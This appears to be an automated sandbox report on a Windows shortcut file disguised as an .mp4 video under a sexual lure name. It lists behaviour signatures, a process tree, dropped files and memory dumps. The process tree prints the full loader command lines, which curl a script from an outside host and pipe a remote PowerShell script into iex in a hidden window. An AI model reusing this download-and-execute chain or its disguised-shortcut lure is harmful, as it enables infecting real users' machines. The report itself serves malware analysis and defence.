Resubmissions

26/06/2026, 04:27

260626-e3f1rahw6l10

26/06/2026, 04:21

260626-eytfaagy4y10

Analysis

  • max time kernel
    119s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/06/2026, 04:21

General

  • Target
    ​PACK8/teenSnapchatdihhfrombe.mp4.lnk
  • Size 697B
  • Sample260626-eytfaagy4y
  • SHA256 20eea6002b3b0a3716ec6687953ae54b50fc77e00241afddb540fbddf7ff3f65
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops desktop.ini file(s) 7 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 40 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 33 IoCs
  • Suspicious use of FindShellTrayWindow 56 IoCs
  • Suspicious use of SendNotifyMessage 44 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\​PACK8\teenSnapchatdihhfrombe.mp4.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3676
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /v:on /c (start "" ..\ㅤㅤ\teenSnapchatdihhfrombe.mp4)&(curl.exe https://nyx8.net/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd)&(C:\Users\Admin\AppData\Local\Temp\a.cmd https://nyx8.net 106)
      2⤵
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:3348
      • C:\Windows\system32\curl.exe
        curl.exe https://nyx8.net/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd
        3⤵
          PID:4552
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {param($u,$c); if (-not $u) { exit }; curl.exe \"$u/rAU.ps1\" | iex }" "https://nyx8.net" "106"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1148
          • C:\Windows\system32\curl.exe
            "C:\Windows\system32\curl.exe" https://nyx8.net/rAU.ps1
            4⤵
              PID:364
      • C:\Program Files (x86)\Windows Media Player\wmplayer.exe
        "C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
        1⤵
        • Drops desktop.ini file(s)
        • Enumerates connected drives
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:560
        • C:\Windows\SysWOW64\unregmp2.exe
          "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4872
          • C:\Windows\system32\unregmp2.exe
            "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT
            3⤵
            • Enumerates connected drives
            • Suspicious use of AdjustPrivilegeToken
            PID:3120
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost
        1⤵
        • Drops file in Windows directory
        PID:4900
      • C:\Windows\system32\sihost.exe
        sihost.exe
        1⤵
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2096
        • C:\Windows\explorer.exe
          explorer.exe /LOADSAVEDWINDOWS
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:6036
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:1996
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:3540

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            CurrentDatabase_400.wmdb

            • Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
            • Size 256KB
            • SHA256 65b597de59661024886b1bdcee7e4e239ffb482461de8000791871a265c55686
            • MD5 SHA1 SHA512 SSDEEP TLSH

            CurrentDatabase_400.wmdb

            • Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
            • Size 1024KB
            • SHA256 b417dd603fa8a0b71025adf16de7e4eeb5dbdbd37e4ae4157c514497699f727f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            LocalMLS_3.wmdb

            • Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\LocalMLS_3.wmdb
            • Size 68KB
            • SHA256 bfd6969be13a03433789073da78291b58dc916dd699977e04def2061c5c80f47
            • MD5 SHA1 SHA512 SSDEEP TLSH

            WMSDKNS.XML.bak

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML.bak
            • Size 9KB
            • SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            prep_Activatable Class_Hermes_perf.cache

            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 599B
            • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
            • MD5 SHA1 SHA512 TLSH

            prep_Activatable Class_Hermes_perf.cache

            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 595B
            • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
            • MD5 SHA1 SHA512 TLSH

            a.cmd

            • Path C:\Users\Admin\AppData\Local\Temp\a.cmd
            • Size 309B
            • SHA256 b0ad0dae605be15f250b01fe818e6cad76452b391cd48a087de6d2ddf83ba9a4
            • MD5 SHA1 SHA512 TLSH

            wmsetup.log

            • Path C:\Users\Admin\AppData\Local\Temp\wmsetup.log
            • Size 1KB
            • SHA256 ca0f714dd1025609e2a1745fe984951da1a9bee003167f15369fe1bd7921096a
            • MD5 SHA1 SHA512 TLSH

            teenSnapchatdihhfrombe.mp4.lnk

            • Path C:\Users\Admin\AppData\Local\Temp\​PACK8\teenSnapchatdihhfrombe.mp4.lnk
            • Size 1KB
            • SHA256 8f9767aac139d3fa4d6ac92c05ca4abd671b6065b3910f1b6b651580baffd2f0
            • MD5 SHA1 SHA512 TLSH

            memory/560-107-0x0000000007570000-0x0000000007580000-memory.dmp

            memory/560-88-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-39-0x0000000007DE0000-0x0000000007DF0000-memory.dmp

            memory/560-38-0x0000000007DE0000-0x0000000007DF0000-memory.dmp

            memory/560-128-0x0000000007570000-0x0000000007580000-memory.dmp

            memory/560-126-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-57-0x0000000007DE0000-0x0000000007DF0000-memory.dmp

            memory/560-56-0x0000000007DE0000-0x0000000007DF0000-memory.dmp

            memory/560-59-0x0000000007DE0000-0x0000000007DF0000-memory.dmp

            memory/560-58-0x0000000007DE0000-0x0000000007DF0000-memory.dmp

            memory/560-90-0x0000000007570000-0x0000000007580000-memory.dmp

            memory/560-127-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-125-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-124-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-123-0x0000000007570000-0x0000000007580000-memory.dmp

            memory/560-40-0x0000000007DE0000-0x0000000007DF0000-memory.dmp

            memory/560-68-0x0000000007570000-0x0000000007580000-memory.dmp

            memory/560-69-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-70-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-73-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-72-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-74-0x0000000007570000-0x0000000007580000-memory.dmp

            memory/560-75-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-76-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-79-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-78-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-80-0x0000000007570000-0x0000000007580000-memory.dmp

            memory/560-82-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-81-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-84-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-85-0x0000000007570000-0x0000000007580000-memory.dmp

            memory/560-83-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-86-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-87-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-92-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-89-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-121-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-101-0x0000000007570000-0x0000000007580000-memory.dmp

            memory/560-122-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-95-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-94-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-96-0x0000000007570000-0x0000000007580000-memory.dmp

            memory/560-97-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-98-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-100-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-99-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-91-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-103-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-102-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-105-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-106-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-41-0x0000000007DE0000-0x0000000007DF0000-memory.dmp

            memory/560-109-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-108-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-111-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-110-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-112-0x0000000007570000-0x0000000007580000-memory.dmp

            memory/560-113-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-114-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-116-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-115-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-117-0x0000000007570000-0x0000000007580000-memory.dmp

            memory/560-119-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/560-118-0x000000000B7E0000-0x000000000B7F0000-memory.dmp

            memory/1148-49-0x0000026BF0750000-0x0000026BF0772000-memory.dmp

            memory/1148-60-0x0000026BF0C30000-0x0000026BF0C3A000-memory.dmp

            memory/1148-64-0x0000026BF0C80000-0x0000026BF0C8A000-memory.dmp

            memory/1148-63-0x0000026BF0C70000-0x0000026BF0C76000-memory.dmp

            memory/1148-62-0x0000026BF0C40000-0x0000026BF0C48000-memory.dmp

            memory/1148-61-0x0000026BF0C90000-0x0000026BF0CAC000-memory.dmp

            memory/1148-55-0x0000026BF0C50000-0x0000026BF0C6E000-memory.dmp

            memory/1148-54-0x0000026BF0C20000-0x0000026BF0C2A000-memory.dmp

            memory/1148-53-0x0000026BF0A60000-0x0000026BF0B12000-memory.dmp

            memory/1148-52-0x0000026BF0A40000-0x0000026BF0A5E000-memory.dmp